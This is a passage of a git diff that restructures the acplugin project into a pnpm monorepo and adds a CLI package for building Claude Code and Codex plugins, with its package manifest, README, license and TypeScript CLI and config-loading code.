"license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "license": "BSD-3-Clause" - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/std-env": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", - "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", - "dev": true, - "license": "MIT" - }, - "node_modules/string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "license": "MIT", - "dependencies": { - "safe-buffer": "~5.2.0" - } - }, - "node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-bom-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", - "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-literal": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/strip-literal/-/strip-literal-3.1.0.tgz", - "integrity": "sha512-8r3mkIM/2+PpjHoOtiAW8Rg3jJLHaV7xPwG+YRGrv6FP0wwk/toTpATxWYOW0BKdWwl82VT2tFYi5DlROa0Mxg==", - "dev": true, - "license": "MIT", - "dependencies": { - "js-tokens": "^9.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/tinybench": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyexec": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", - "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/tinypool": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-1.1.1.tgz", - "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.0.0 || >=20.0.0" - } - }, - "node_modules/tinyrainbow": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-2.0.0.tgz", - "integrity": "sha512-op4nsTR47R6p0vMUUoYl/a+ljLFVtlfaXkLQmqfLR1qHma1h/ysYk4hEXZ880bf2CYgTskvTa/e196Vd5dDQXw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/tinyspy": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-4.0.4.tgz", - "integrity": "sha512-azl+t0z7pw/z958Gy9svOTuzqIk6xq+NSheJzn5MMWtWTFywIacg2wUlzKFGtt3cthx0r2SxMK0yzJOR0IES7Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/undici-types": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", - "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "license": "MIT" - }, - "node_modules/vite": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz", - "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vite-node": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-3.2.4.tgz", - "integrity": "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cac": "^6.7.14", - "debug": "^4.4.1", - "es-module-lexer": "^1.7.0", - "pathe": "^2.0.3", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" - }, - "bin": { - "vite-node": "vite-node.mjs" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/vitest": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-3.2.4.tgz", - "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/chai": "^5.2.2", - "@vitest/expect": "3.2.4", - "@vitest/mocker": "3.2.4", - "@vitest/pretty-format": "^3.2.4", - "@vitest/runner": "3.2.4", - "@vitest/snapshot": "3.2.4", - "@vitest/spy": "3.2.4", - "@vitest/utils": "3.2.4", - "chai": "^5.2.0", - "debug": "^4.4.1", - "expect-type": "^1.2.1", - "magic-string": "^0.30.17", - "pathe": "^2.0.3", - "picomatch": "^4.0.2", - "std-env": "^3.9.0", - "tinybench": "^2.9.0", - "tinyexec": "^0.3.2", - "tinyglobby": "^0.2.14", - "tinypool": "^1.1.1", - "tinyrainbow": "^2.0.0", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0", - "vite-node": "3.2.4", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@types/debug": "^4.1.12", - "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", - "@vitest/browser": "3.2.4", - "@vitest/ui": "3.2.4", - "happy-dom": "*", - "jsdom": "*" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@types/debug": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - } - } - }, - "node_modules/wcwidth": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", - "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", - "license": "MIT", - "dependencies": { - "defaults": "^1.0.3" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - } - } -} diff --git a/package.json b/package.json index 78b3fe3..bf06ef1 100644 --- a/package.json +++ b/package.json @@ -1,57 +1,42 @@ { - "name": "@disdjj/acplugin", - "version": "1.6.1", - "description": "Convert Claude Code plugins to Codex, OpenCode, and Cursor formats", - "main": "dist/index.js", - "bin": { - "acplugin": "dist/index.js" + "name": "acplugin-workspace", + "version": "0.0.0", + "private": true, + "type": "module", + "packageManager": "pnpm@10.34.5", + "engines": { + "node": ">=20" }, - "files": [ - "dist/**/*", - "!dist/__tests__", - "README.md" - ], "scripts": { - "build": "tsc", - "start": "node dist/index.js", - "dev": "tsc && node dist/index.js", - "test": "vitest run", - "test:watch": "vitest", - "prepublishOnly": "npm run build" + "build": "pnpm -r --if-present run build", + "dev": "pnpm --filter @tokenroll/acplugin run dev", + "test": "pnpm -r --if-present run test", + "test:watch": "pnpm --filter @acplugin/test run test:watch", + "changeset": "changeset", + "version-packages": "changeset version", + "release:verify": "node scripts/verify-release.mjs", + "lint": "eslint .", + "lint:fix": "eslint . --fix", + "typecheck": "pnpm -r --if-present run typecheck", + "check": "pnpm run lint && pnpm run typecheck && pnpm run test && pnpm run build", + "prepare": "husky" }, - "keywords": [ - "claude-code", - "codex", - "opencode", - "cursor", - "plugin", - "converter", - "ai-coding", - "skill", - "mcp" - ], - "author": "", - "repository": { - "type": "git", - "url": "https://github.com/TokenRollAI/acplugin.git" - }, - "license": "MIT", - "type": "commonjs", - "publishConfig": { - "access": "public" - }, - "dependencies": { - "@iarna/toml": "^2.2.5", - "@inquirer/prompts": "^8.3.2", - "chalk": "^4.1.2", - "commander": "^14.0.3", - "glob": "^13.0.6", - "gray-matter": "^4.0.3", - "ora": "^5.4.1", - "typescript": "^5.9.3" + "lint-staged": { + "*.{ts,mts,cts,js,mjs,cjs}": "eslint --fix" }, "devDependencies": { - "@types/node": "^25.5.0", - "vitest": "^3.2.1" + "@arethetypeswrong/core": "catalog:", + "@changesets/cli": "catalog:", + "@eslint/js": "catalog:", + "@stylistic/eslint-plugin": "catalog:", + "@types/node": "catalog:", + "eslint": "catalog:", + "husky": "catalog:", + "lint-staged": "catalog:", + "publint": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "typescript-eslint": "catalog:", + "vitest": "catalog:" } } diff --git a/packages/acplugin/LICENSE b/packages/acplugin/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/acplugin/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/acplugin/README.md b/packages/acplugin/README.md new file mode 100644 index 0000000..cf12612 --- /dev/null +++ b/packages/acplugin/README.md @@ -0,0 +1,47 @@ +# @tokenroll/acplugin + +Canonical AI plugin framework and CLI for building installable Claude Code and Codex plugins from one source project. + +```bash +pnpm add -D @tokenroll/acplugin +``` + +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', +}); +``` + +```text +src/ +├── commands/*.md +├── skills/*/SKILL.md +└── agents/*.md +public/ +acplugin.config.ts +``` + +The default build targets are `claude-code` and `codex`. Commands and Agents are adapted explicitly when the target has no equivalent native plugin component. + +```bash +pnpm exec acplugin validate +pnpm exec acplugin inspect +pnpm exec acplugin build +``` + +Hooks and MCP are optional official Modules: + +```bash +pnpm add -D @tokenroll/acplugin-module-hooks @tokenroll/acplugin-module-mcp +``` + +See the [repository documentation](https://github.com/TokenRollAI/acplugin#readme) for the complete authoring schema, compatibility rules, Migration workflow, and security model. + +## License + +MIT diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json new file mode 100644 index 0000000..55537bb --- /dev/null +++ b/packages/acplugin/package.json @@ -0,0 +1,42 @@ +{ + "name": "@tokenroll/acplugin", + "version": "1.0.0", + "description": "Build canonical AI plugins for Claude Code and Codex.", + "type": "module", + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#readme", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": ">=20" }, + "bin": { "acplugin": "./dist/cli.mjs" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public", "provenance": true }, + "scripts": { + "build": "tsdown", + "dev": "tsdown --watch", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { + "@iarna/toml": "catalog:", + "@inquirer/prompts": "catalog:", + "chalk": "catalog:", + "chokidar": "catalog:", + "commander": "catalog:", + "gray-matter": "catalog:", + "glob": "catalog:", + "jiti": "catalog:", + "ora": "catalog:" + }, + "devDependencies": { + "@acplugin/compiler-claude-code": "workspace:*", + "@acplugin/compiler-codex": "workspace:*", + "@acplugin/core": "workspace:*", + "@types/node": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts new file mode 100644 index 0000000..4d44d53 --- /dev/null +++ b/packages/acplugin/src/cli.ts @@ -0,0 +1,300 @@ +#!/usr/bin/env node + +import process from 'node:process'; +import path from 'node:path'; +import { Command, CommanderError, Option } from 'commander'; +import { watch } from 'chokidar'; +import { + ACPLUGIN_VERSION, + initializeProject, + ProjectConfigError, + runProject, + type BuildMode, + type BuildReport, + type Diagnostic, + type TargetId, +} from './index.js'; + +interface ProjectCliOptions { + config?: string; + target?: string[]; + mode: BuildMode; + strict: boolean; + json?: boolean; +} + +function addProjectOptions(command: Command, defaultMode: BuildMode): Command { + return command + .option('-c, --config ', 'Use another TypeScript config file') + .addOption(new Option('-t, --target ', 'Replace the configured target set').choices(['claude-code', 'codex'])) + .addOption(new Option('--mode ', 'Config mode').choices(['development', 'production']).default(defaultMode)) + .option('--no-strict', 'Allow degraded or unsupported target compatibility') + .option('--json', 'Emit one stable JSON report on stdout'); +} + +function writeReport(report: BuildReport, json: boolean | undefined): void { + if (json) { + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + return; + } + const status = report.success ? 'success' : 'failed'; + process.stdout.write(`${report.command}: ${status} (${report.targets.join(', ')})\n`); + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); + for (const entry of report.compatibility) { + if (entry.level === 'degraded' || entry.level === 'unsupported') + process.stderr.write(`warning ${entry.target} ${entry.subject}: ${entry.reason}\n`); + } +} + +interface CliFailureReport { + schemaVersion: '1'; + command: string; + diagnostics: readonly Diagnostic[]; + success: false; +} + +function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { + const diagnostics = error instanceof ProjectConfigError + ? error.diagnostics + : [{ + code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', + severity: 'error' as const, + message: internal ? 'The command failed inside the framework.' : `${command} failed.`, + phase: internal ? 'internal' : command, + }]; + return { schemaVersion: '1', command, diagnostics, success: false }; +} + +function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { + const report = failureReport(command, error, internal); + if (json) { + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + return; + } + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); +} + +async function runPipeline(commandName: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { + try { + const result = await runProject({ + command: commandName, + mode: options.mode, + ...(options.config === undefined ? {} : { configPath: options.config }), + ...(options.target === undefined ? {} : { targets: options.target as TargetId[] }), + strict: options.strict, + commit: commandName === 'build', + }); + writeReport(result.report, options.json); + if (!result.report.success) { + process.exitCode = result.report.diagnostics.some(diagnostic => diagnostic.code === 'BUILD_INTERNAL_FAILED') ? 2 : 1; + } + } catch (error) { + const internal = !(error instanceof ProjectConfigError); + writeFailure(commandName, error, options.json, internal); + process.exitCode = internal ? 2 : 1; + } +} + +async function runDev(options: ProjectCliOptions): Promise { + let running = false; + let pending = false; + const rebuild = async (): Promise => { + if (running) { + pending = true; + return; + } + running = true; + try { + const result = await runProject({ + command: 'dev', + mode: options.mode, + ...(options.config === undefined ? {} : { configPath: options.config }), + ...(options.target === undefined ? {} : { targets: options.target as TargetId[] }), + strict: options.strict, + commit: true, + }); + writeReport(result.report, options.json); + if (!result.report.success) + process.exitCode = result.report.diagnostics.some(diagnostic => diagnostic.code === 'BUILD_INTERNAL_FAILED') ? 2 : 1; + } catch (error) { + writeFailure('dev', error, options.json, !(error instanceof ProjectConfigError)); + } finally { + running = false; + if (pending) { + pending = false; + await rebuild(); + } + } + }; + + await rebuild(); + const configPath = path.resolve(options.config ?? 'acplugin.config.ts'); + const projectRoot = path.dirname(configPath); + const watcher = watch(projectRoot, { + ignoreInitial: true, + ignored: (candidate) => { + const relative = path.relative(projectRoot, candidate).split(path.sep).join('/'); + return relative === 'node_modules' + || relative.startsWith('node_modules/') + || relative === 'dist' + || relative.startsWith('dist/') + || relative === '.git' + || relative.startsWith('.git/') + || /(^|\/)\.acplugin-(?:work|stage|backup|transaction|lock)/.test(relative); + }, + }); + let debounce: NodeJS.Timeout | undefined; + watcher.on('all', () => { + if (debounce) + clearTimeout(debounce); + debounce = setTimeout(() => { + debounce = undefined; + void rebuild(); + }, 50); + }); + await new Promise((resolve) => { + const stop = (): void => { + if (debounce) + clearTimeout(debounce); + process.exitCode = 130; + void watcher.close().then(resolve); + }; + process.once('SIGINT', stop); + process.once('SIGTERM', stop); + }); +} + +export function createCli(): Command { + const program = new Command() + .name('acplugin') + .description('Build canonical AI plugins for Claude Code and Codex') + .version(ACPLUGIN_VERSION) + .showHelpAfterError() + .exitOverride(); + + program.command('init') + .description('Create an opinionated canonical plugin project') + .argument('[directory]', 'New or empty destination directory') + .option('-y, --yes', 'Accept deterministic defaults') + .option('--name ', 'Plugin machine name') + .option('--display-name ', 'Plugin display name') + .option('--description ', 'Plugin description') + .option('--hooks', 'Enable the official Hooks Module') + .option('--mcp', 'Enable the official MCP Module') + .option('--install', 'Run pnpm install after scaffolding') + .option('--json', 'Emit one stable JSON result on stdout') + .action(async (directory: string | undefined, options: { + yes?: boolean; + name?: string; + displayName?: string; + description?: string; + hooks?: boolean; + mcp?: boolean; + install?: boolean; + json?: boolean; + }) => { + try { + const result = await initializeProject({ + ...(directory === undefined ? {} : { directory }), + ...(options.yes === undefined ? {} : { yes: options.yes }), + ...(options.name === undefined ? {} : { name: options.name }), + ...(options.displayName === undefined ? {} : { displayName: options.displayName }), + ...(options.description === undefined ? {} : { description: options.description }), + ...(options.hooks === undefined ? {} : { hooks: options.hooks }), + ...(options.mcp === undefined ? {} : { mcp: options.mcp }), + ...(options.install === undefined ? {} : { install: options.install }), + }); + if (options.json) + process.stdout.write(`${JSON.stringify({ schemaVersion: '1', success: true, ...result }, null, 2)}\n`); + else + process.stdout.write(`Created ${result.directory}\nNext: cd ${result.directory} && pnpm install && pnpm build\n`); + if (options.install && !result.installed) + process.exitCode = 1; + } catch (error) { + writeFailure('init', error, options.json, false); + process.exitCode = 1; + } + }); + + program.command('migrate') + .description('Migrate a legacy Claude project or plugin into canonical source') + .argument('', 'Local path or supported GitHub source') + .argument('[destination]', 'New destination directory') + .option('-p, --path ', 'Sub-path inside a GitHub repository') + .option('--plugin ', 'Select one marketplace plugin') + .option('--all', 'Migrate all marketplace plugins') + .option('--name ', 'Canonical plugin name for project input') + .option('--description ', 'Canonical plugin description for project input') + .option('--dry-run', 'Generate and validate in temporary storage without committing') + .option('--strict', 'Fail when any resource is degraded or unmapped') + .option('--json', 'Emit one stable JSON report on stdout') + .action(async (source: string, destination: string | undefined, options: { + path?: string; + plugin?: string; + all?: boolean; + name?: string; + description?: string; + dryRun?: boolean; + strict?: boolean; + json?: boolean; + }) => { + try { + const { migrate } = await import('./migration/index.js'); + const report = await migrate({ + source, + ...(destination === undefined ? {} : { destination }), + ...(options.path === undefined ? {} : { subPath: options.path }), + ...(options.plugin === undefined ? {} : { plugin: options.plugin }), + ...(options.all === undefined ? {} : { all: options.all }), + ...(options.name === undefined ? {} : { name: options.name }), + ...(options.description === undefined ? {} : { description: options.description }), + ...(options.dryRun === undefined ? {} : { dryRun: options.dryRun }), + ...(options.strict === undefined ? {} : { strict: options.strict }), + }); + if (options.json) + process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + else + process.stdout.write(`Migration ${report.success ? 'succeeded' : 'failed'}: ${report.items.length} resource(s)\n`); + if (!report.success) + process.exitCode = 1; + } catch (error) { + writeFailure('migrate', error, options.json, false); + process.exitCode = 1; + } + }); + + addProjectOptions(program.command('validate').description('Validate the complete generated target graphs'), 'production') + .action((options: ProjectCliOptions) => runPipeline('validate', options)); + addProjectOptions(program.command('inspect').description('Inspect the complete generated target graphs'), 'production') + .action((options: ProjectCliOptions) => runPipeline('inspect', options)); + addProjectOptions(program.command('build').description('Build and atomically commit selected targets'), 'production') + .action((options: ProjectCliOptions) => runPipeline('build', options)); + addProjectOptions(program.command('dev').description('Watch and retain the last successful output'), 'development') + .action((options: ProjectCliOptions) => runDev(options)); + + return program; +} + +export async function main(argv = process.argv): Promise { + const program = createCli(); + if (argv.length <= 2) { + program.outputHelp(); + return; + } + try { + await program.parseAsync(argv); + } catch (error) { + if (error instanceof CommanderError) { + if (error.code === 'commander.helpDisplayed' || error.code === 'commander.version') + return; + process.exitCode = 2; + return; + } + process.stderr.write('internal error: the CLI failed inside the framework\n'); + process.exitCode = 2; + } +} + +await main(); diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts new file mode 100644 index 0000000..e9ff06d --- /dev/null +++ b/packages/acplugin/src/index.ts @@ -0,0 +1,165 @@ +import path from 'node:path'; +import { promises as fs } from 'node:fs'; +import { createJiti } from 'jiti'; +import { + buildProject, + resolveConfig, + type BuildCommand, + type BuildMode, + type BuildResult, + type ResolvedConfig, + type TargetId, + type UserConfig, + type UserConfigExport, +} from '@acplugin/core'; +import { claudeCodeCompiler } from '@acplugin/compiler-claude-code'; +import { codexCompiler } from '@acplugin/compiler-codex'; + +export * from '@acplugin/core'; +export * from './init.js'; + +export const ACPLUGIN_VERSION = '1.0.0'; + +export class ProjectConfigError extends Error { + readonly diagnostics: readonly import('@acplugin/core').Diagnostic[]; + + constructor( + message: string, + diagnostics: readonly import('@acplugin/core').Diagnostic[], + cause?: unknown, + ) { + if (cause === undefined) + super(message); + else + super(message, { cause }); + this.name = 'ProjectConfigError'; + this.diagnostics = diagnostics; + } +} + +export function defineConfig(config: UserConfigExport): UserConfigExport { + return config; +} + +export interface LoadProjectConfigOptions { + cwd?: string; + configPath?: string; + command: BuildCommand; + mode: BuildMode; +} + +export interface LoadedProjectConfig { + config: ResolvedConfig; + loadTypeScriptModule(path: string): Promise; +} + +async function importDefault(jiti: ReturnType, modulePath: string): Promise { + return jiti.import(modulePath, { default: true }); +} + +export async function loadProjectConfig(options: LoadProjectConfigOptions): Promise { + const cwd = path.resolve(options.cwd ?? process.cwd()); + const configPath = path.resolve(cwd, options.configPath ?? 'acplugin.config.ts'); + const displayPath = path.relative(cwd, configPath).split(path.sep).join('/') || path.basename(configPath); + try { + const stat = await fs.lstat(configPath); + if (!stat.isFile() || stat.isSymbolicLink()) + throw new Error('Configuration must be a regular non-symlink file.'); + } catch (error) { + const reason = (error as NodeJS.ErrnoException).code === 'ENOENT' + ? 'file does not exist.' + : 'file cannot be accessed as a regular non-symlink file.'; + const message = `Cannot load ${displayPath}: ${reason}`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_LOAD_FAILED', + severity: 'error', + message, + phase: 'config', + location: { path: displayPath }, + }], error); + } + + const jiti = createJiti(import.meta.url, { + interopDefault: true, + moduleCache: false, + fsCache: false, + }); + let exported: UserConfigExport; + try { + exported = await importDefault(jiti, configPath) as UserConfigExport; + } catch (error) { + const message = `Cannot evaluate ${displayPath}.`; + throw new ProjectConfigError(message, [{ + code: 'CONFIG_EVALUATION_FAILED', + severity: 'error', + message, + phase: 'config', + location: { path: displayPath }, + }], error); + } + let value: UserConfig; + try { + value = (typeof exported === 'function' + ? await exported({ command: options.command, mode: options.mode }) + : exported) as UserConfig; + } catch 